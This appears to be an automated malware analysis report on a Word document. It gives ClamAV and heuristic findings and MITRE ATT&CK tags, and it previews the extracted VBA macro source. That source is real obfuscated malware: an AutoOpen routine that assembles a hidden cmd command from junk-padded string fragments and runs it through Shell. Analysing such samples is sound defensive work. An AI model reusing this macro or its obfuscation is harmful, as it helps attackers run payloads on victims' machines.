MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is a Microsoft Office document containing a malicious VBA macro. The AutoOpen macro attempts to execute a command using the Shell function, concatenating several strings to form the command. The specific command and its arguments are obfuscated, but the intent is to run an executable. The ClamAV detection and heuristic firings confirm the malicious nature of the document.
Heuristics 5
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ClamAV: Doc.Malware.Valyria-6774284-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-6774284-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 33323 bytes |
SHA-256: edc382e5e15ac09ea9faeea62ef12c9b991dd4d4019c71b337425918146dbca9 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ZnRndqwqqYSRnq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
tZHus = Sqr(YBivcF)
XNrloL = CDbl(2)
WzCzw = 398247479
wlhaNK = mBsVlE
Shell@ CVar("cm") + zLRMaWvC + UwjttYkzn + bCnAOZ + jpDbKI + rcXzSzGEb + ozJKktbIuz + sRAqj + IlSui + WCSFVwDrwaN + dDPuVQrEcEc + wtNvlz + ccqWkwrv + wRSzS + uNOMl + uRIUbqw + dUSvZoltsVV + bMipouTfVd + MiqFH + bEPzBt + uKOPT + MFvqF + MYfvlY + EUhkKcTduFV + foBIYD + fzDVv + FuBURPEoa + rDUFMSiUAsB + zFziwObz + ZilwaEYdAur + zhWFpEuQ + nwoTEi + hncUzmrJ + EnJtuiIHz + XjsAlsZM + UwshJ + vwfPk + biZrABTo + BSkHT + KNEdzLYBp + afuWscl + twUEPCP + YWJiVV + hjPzdFw + bSFIZH + YDsHlXrHfQS + klNLPQaXzKb, 628529634 - 628529634
FSUGM = Fix(uzjSaO)
ClvqW = ChrW(THJXV - uPJkp + lrzmN - ljGFGZ)
UAQnJ = Fix(8)
End Sub
Attribute VB_Name = "KUQXGFnNOBkiE"
Function bCnAOZ()
On Error Resume Next
ipiHU = CStr(joprcN)
iobYRf = "d " + " " + "/c" + " " + " "
aLXnHY = Int(79170 + fkCaLv - 30016 * fHdjwp)
YrGGfflW = " " + " " + " CM%tMp:~" + "-" + "15,1%" + " /V:o"
iuVwjjhhS = "N /R " + CStr(Chr(VLImAPJU + wQUBKvatSzPDi + 34 + nunEGqSMKcGE + DLuvVNnzP)) + " SE" + "T " + " " + "'?="
UbCvp = "-__///" + "\_" + "/\-\_\- \/" + "-/_-\_-/" + "\__\- " + "-/\_\-//_" + "\\/_-"
bCnAOZ = iobYRf + YrGGfflW + iuVwjjhhS + UbCvp
ctMzWR = Sqr(162)
LzqBH = Oct(kFLowB)
End Function
Function jpDbKI()
On Error Resume Next
UdCajd = "_ \\" + "_" + "\-"
LjRvYz = Sin(YuRVAH)
aMzFjT = Atn(2)
fphwFGh = "/-__\/-_-" + "/ \_-\-_/" + "__-/-\/\ " + "-__"
fdkvKzIfHk = "\" + "\--\/\" + "/__/- \-_" + "_/_\"
PnGQp = Sqr(kBmcC + SGiEuk / bzlXlI * qYjjwu)
hAmlq = Sqr(3)
oZMoqZ = "/\" + "\"
RcKWw = "/--/_ _-" + "-" + "\_\_//-/\-" + "\/ -/-"
dklkQfk = "\\/_/\__-" + "\-" + "_ ///_\-\-" + "__\" + "/\-- -" + "/-_/\_"
jpDbKI = UdCajd + fphwFGh + fdkvKzIfHk + oZMoqZ + RcKWw + dklkQfk
HSimN = CDbl(63)
End Function
Function rcXzSzGEb()
On Error Resume Next
qzKudLH = "/\_-" + "/_\- " + "\__-/" + "_-\\\--"
QjnHcpdYtbG = "/_/ \_/_-" + "/\_/---/" + "_\" + " _\/" + "-\_\-/-/"
ujSWF = "_/\_ __/" + "-_\/\" + "-/\/--\ _" + "-\\__\-/-/" + "//_" + "- /\/-" + "__/-"
YEiKzC = CInt(rBPCXd)
GCmlapm = "--" + "/\\_\ _/" + "--/\" + "__/-_/\\-" + "}/_\_--/" + "/" + "_"
FGEWl = 218523583
GTLRF = Sin(7)
DdHQfsdPwVf = "\" + "-/\-\}" + "_-\//-"
rVmov = Round(59847 / oYqwbj)
QjCwh = Hex(9124)
wdswYE = 9038
CHztskittza = "-\" + "-/\/_" + "\_{_\//\--"
ncicq = 70
jDCln = 9759562
OnlZwIuSvd = "_//\" + "-\-_h_//-" + "\-\" + "/\-___\-c" + "\\-//"
SITMIT = Rnd(nPAYwm)
daRjfn = CInt(69294 + SRkYF - FTvpbI + cuAwYL)
DCMCW = 39
qwknprtiTps = "//\_-___\"
JkJpuXl = "-t\/" + "/\-_" + "\-" + "--/\_"
EIsAj = 271850306
FRCzjLWpT = "_/a/"
rcXzSzGEb = qzKudLH + QjnHcpdYtbG + ujSWF + GCmlapm + DdHQfsdPwVf + CHztskittza + OnlZwIuSvd + qwknprtiTps + JkJpuXl + FRCzjLWpT
CMFtaz = CStr(MIcjlH)
blTAJ = Oct(MzRHj)
End Function
Function ozJKktbIuz()
On Error Resume Next
SSWjt = Fix(LTjKmq)
kimoJBHolA = "\--_" + "-_/\_-" + "/\_/c-_" + "-__-" + "\///\-_" + "\/}-_-\\\_" + "_"
iALBw = HFTpuT
vwITDHAiMa = "_//\/-/" + ";-/\\\\_//" + "_-_/-_" + "k" + "/_"
BBIjw = Hex(JAvGAm)
wdGMq = "-\-__--\/" + "/\/_a\\" + "/___--\/-" + "/\-" + "_e_\\" + "--_\" + "-"
NHdLND = 141952124
dCjVIk = 51172770
DzYMB = 22
NBZhfR = "//-" + "_\//r\"
JcNFfJ = "/-_//\__" + "-/-_\" + "\b/\" + "_--_\-/_\-" + "/_/"
idEoBD = ChrB(bFJzdw + oHZVO)
bkhTLc = CInt(YvEBi)
aZAPuv = Tan(zpImw)
qFKYImjIEi = ";\//-_/-/\" + "\--\_" + "_S\-_" + "\_/" + "__-/\/\/-D" + "-___\-/\/_"
Dwjiwz = Fix(38475 - SQzwJh / QiILGs / VqbZD)
ZMaizi = "-\\-" + "/" + "f/\-_" + "/\\" + "-_/_\"
vtAwDd = ChrB(komHtO)
PiAQXrvRTU = "_--$/__" + "-/_\\" + "/-/-_\" + "- \--_" + "\\///" + "_-\-_"
KmXVDz = Sgn(dEczT)
EqNnTa = CDate(vzjaqD)
... (truncated)
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